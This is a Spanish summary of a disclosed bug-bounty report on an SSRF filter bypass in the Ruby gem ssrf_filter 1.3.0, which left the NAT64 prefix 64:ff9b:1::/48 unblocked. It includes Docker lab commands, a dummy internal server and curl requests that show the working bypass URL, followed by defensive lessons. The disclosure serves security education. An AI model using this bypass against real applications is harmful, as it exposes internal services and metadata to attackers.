Reports
ALTA[SSRF]#3634400

ssrf_filter dejaba pasar el prefijo NAT64 de uso local 64:ff9b:1::/48 y permitía saltarse la protección SSRF

La gema Ruby ssrf_filter 1.3.0 bloqueaba el prefijo NAT64 conocido 64:ff9b::/96, pero no el de uso local 64:ff9b:1::/48, así que direcciones internas codificadas en ese rango se trataban como públicas.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

ssrf_filter es una gema de Ruby cuya misión es impedir que una aplicación haga peticiones a direcciones internas cuando la URL la decide un usuario. Para ello resuelve el nombre de host y descarta las IP que pertenecen a rangos privados o reservados.

En la versión 1.3.0 la lista de rangos IPv6 prohibidos (IPV6_BLACKLIST) incluía el prefijo NAT64 "bien conocido", 64:ff9b::/96, pero se olvidaba de su hermano de uso local, 64:ff9b:1::/48. Como la función unsafe_ip_address? decide si una IPv6 es peligrosa solo comprobando si está en esa lista, cualquier dirección del rango 64:ff9b:1::/48 se consideraba pública y pasaba el filtro.

El investigador señaló tres puntos de lib/ssrf_filter/ssrf_filter.rb:

  • Líneas 47-59: definición de IPV6_BLACKLIST, donde falta 64:ff9b:1::/48.
  • Líneas 139-143: unsafe_ip_address?, que para IPv6 solo mira la pertenencia a esa lista.
  • Líneas 126-127: el resultado del resolvedor se filtra con unsafe_ip_address?, de modo que las direcciones de este rango se quedan en public_addresses y la petición sigue adelante.

El reporte se envió el 28 de marzo de 2026 y se divulgó el 31 de marzo, ya resuelto.

Pasos de reproducción

El investigador usó un laboratorio en Docker con una aplicación de prueba que expone un endpoint /fetch?url=… protegido con ssrf_filter.

  1. Arrancar el laboratorio base (contenedor ssrf_filter_lab).
  2. Levantar un segundo contenedor de la misma aplicación con la capacidad NET_ADMIN, para poder añadir direcciones IPv6:
NET=$(docker inspect ssrf_filter_lab --format '{{range $k,$v := .NetworkSettings.Networks}}{{$k}}{{end}}')
docker rm -f ssrf_filter_lab_netadmin 2>/dev/null || true
docker run -d --name ssrf_filter_lab_netadmin --network "$NET" --cap-add NET_ADMIN -p 4568:4567 bbp-ssrf-ssrf-app ruby app.rb
  1. Instalar iproute2 dentro y asignar a la interfaz de loopback la dirección 64:ff9b:1::7f00:1 (que codifica 127.0.0.1 bajo el prefijo de uso local):
docker exec ssrf_filter_lab_netadmin sh -lc 'apt-get update -qq && apt-get install -y -qq iproute2 && ip -6 addr add 64:ff9b:1::7f00:1/128 dev lo || true && ip -6 addr show dev lo'

La salida confirma la dirección:

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    inet6 64:ff9b:1::7f00:1/128 scope global
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host proto kernel_lo
       valid_lft forever preferred_lft forever
  1. Poner a escuchar un servicio HTTP "interno" en esa dirección, puerto 18081, que responde con un texto fijo:
docker exec ssrf_filter_lab_netadmin sh -lc 'cat > /tmp/vuln_server_nat64.rb << "RUBY"
require "socket"
server = TCPServer.new("64:ff9b:1::7f00:1", 18081)
loop do
  sock = server.accept
  begin
    while (line = sock.gets)
      break if line == "\r\n"
    end
    body = "NAT64_PREFIX_BYPASS_DEMO"
    sock.write("HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: #{body.bytesize}\r\nConnection: close\r\n\r\n#{body}")
  ensure
    sock.close rescue nil
  end
end
RUBY
nohup ruby /tmp/vuln_server_nat64.rb >/tmp/vuln_server_nat64.log 2>&1 &'
  1. Comprobar desde el propio contenedor que el servicio responde:
docker exec ssrf_filter_lab_netadmin sh -lc 'ruby -rsocket -e "s=TCPSocket.new(\"64:ff9b:1::7f00:1\",18081); s.write(\"GET / HTTP/1.0\r\nHost: x\r\n\r\n\"); puts s.read; s.close"'
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 24
Connection: close

NAT64_PREFIX_BYPASS_DEMO
  1. Prueba de control: con el prefijo NAT64 bien conocido, el filtro bloquea la petición como debe:
curl -sS 'http://localhost:4568/fetch?url=http://[64:ff9b::7f00:1]:18081'
{"status":"blocked","error":"SsrfFilter::PrivateIPAddress","message":"Hostname '64:ff9b::7f00:1' has no public ip addresses"}
  1. La misma petición con el prefijo de uso local pasa el filtro y devuelve el contenido del servicio interno:
curl -sS 'http://localhost:4568/fetch?url=http://[64:ff9b:1::7f00:1]:18081'
{"status":"allowed","code":"200","headers":{"content-type":"text/plain","content-length":"24","connection":"close"},"body":"NAT64_PREFIX_BYPASS_DEMO"}

La diferencia entre la petición bloqueada y la permitida es solo el prefijo:

- http://[64:ff9b::7f00:1]:18081    -> blocked (SsrfFilter::PrivateIPAddress)
+ http://[64:ff9b:1::7f00:1]:18081  -> allowed (200, body devuelto)

Impacto

En una aplicación que use ssrf_filter para validar URLs de usuarios, un atacante podía apuntar a direcciones del rango 64:ff9b:1::/48 y el filtro las daba por buenas. Si en el entorno donde corre la aplicación ese rango es enrutable, la petición llegaría a destinos internos o restringidos que la protección debía aislar. Según el investigador, eso podría exponer servicios internos sensibles o metadatos y permitir reconocer la red interna y pivotar desde ella. La condición de que el rango sea enrutable en el despliegue es la que limita el alcance real.

Qué aprender de este caso

  • Si auditas un filtro anti-SSRF basado en listas negras de rangos IP, compara su lista con el registro de direcciones de propósito especial de IANA, sobre todo en IPv6: prefijos de traducción como 64:ff9b::/96 y 64:ff9b:1::/48 permiten escribir una IPv4 interna dentro de una IPv6 de aspecto "pública".
  • Cuando un filtro bloquea un rango, prueba sus variantes cercanas (aquí, el prefijo NAT64 local frente al bien conocido): son el sitio típico donde una lista se queda incompleta.
  • Al programar este tipo de filtro, no basta con la pertenencia a una lista: conviene extraer la IPv4 incrustada en direcciones de traducción (NAT64, IPv4-mapped) y volver a validarla como IPv4, o directamente rechazar esos prefijos si la aplicación no los necesita.
  • A nivel de red, limitar las salidas del servidor que hace las peticiones (qué destinos y rangos puede alcanzar) evita que un hueco en la lista de la librería se convierta en acceso a servicios internos.